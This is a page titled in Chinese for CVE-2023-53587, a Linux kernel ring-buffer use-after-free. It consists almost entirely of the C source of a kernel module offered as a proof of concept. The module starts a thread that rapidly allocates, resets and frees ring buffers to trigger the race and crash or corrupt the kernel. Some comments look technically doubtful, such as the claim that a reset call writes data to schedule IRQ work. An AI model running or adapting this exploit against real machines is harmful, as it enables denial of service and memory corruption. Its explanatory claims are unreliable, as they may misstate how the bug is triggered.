CVE-2023-53587 Linux内核ring-buffer释放后使用漏洞

// PoC for CVE-2023-53587: Linux kernel ring-buffer use-after-free // This vulnerability can be triggered in ARCH=um with time-travel mode // The PoC demonstrates the kernel module that creates and destroys ring-buffers // in rapid succession to trigger the race condition. #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/ring_buffer.h> #include <linux/delay.h> #include <linux/kthread.h> static struct task_struct *trigger_thread; static int trigger_uaf(void *data) { struct ring_buffer *buffer; int i; // Rapidly create and destroy ring-buffers to trigger race condition for (i = 0; i < 10000; i++) { // Create a new ring-buffer (size 1024 = kmalloc-1k) buffer = ring_buffer_alloc(1024, RB_FL_OVERWRITE); if (!buffer) continue; // Write data to trigger IRQ work scheduling ring_buffer_reset(buffer); // Immediately destroy the buffer before IRQ work can run // This triggers the use-after-free when IRQ work accesses // the freed memory ring_buffer_free(buffer); } return 0; } static int __init poc_init(void) { pr_info("CVE-2023-53587 PoC loaded\n"); trigger_thread = kthread_run(trigger_uaf, NULL, "cve_2023_53587"); return 0; } static void __exit poc_exit(void) { if (trigger_thread) kthread_stop(trigger_thread); pr_info("CVE-2023-53587 PoC unloaded\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2023-53587 Linux kernel ring-buffer UAF");